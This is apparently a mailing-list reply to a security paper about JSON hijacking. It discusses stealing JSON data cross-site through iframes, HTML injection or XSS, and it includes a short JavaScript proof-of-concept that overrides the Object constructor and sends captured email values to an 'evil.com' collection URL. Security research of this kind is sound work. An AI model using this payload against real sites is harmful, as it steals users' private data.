Ok I see the difference. 
You are taking advantage of a pure json CSRF with a evil script which
contains a modified version of the Object prototype.
And when the callback function is executed you use a XMLHttpRequest in
order to send the information extracted by the instantiated object.

Well i can see that you don't require a XSS vuln on a host, but you
assume a vulnerability on a user who has to click on a link :)

Anyway, if there's a html injection on a 3rd site you could use an
iframe with an evil page like the one you described without waiting  for
a user to click on an untrusted link.

Or, if you cant use iframes, as XMLHttpRequest is restricted by same
origin policy, you dont need an evil page since you could use a XSS
vulnerable site as a vector in order to steal json informations with an
img tag.
function Object(){
 this.email setter =  captureObject;
function captureObject(x){
(new Image()).src='http:// evil. com/ collect?email='+x;
<script src='http:// vuln /json.js' ></script>

But this is just another way to accomplish your attack.

BTW very nice paper!
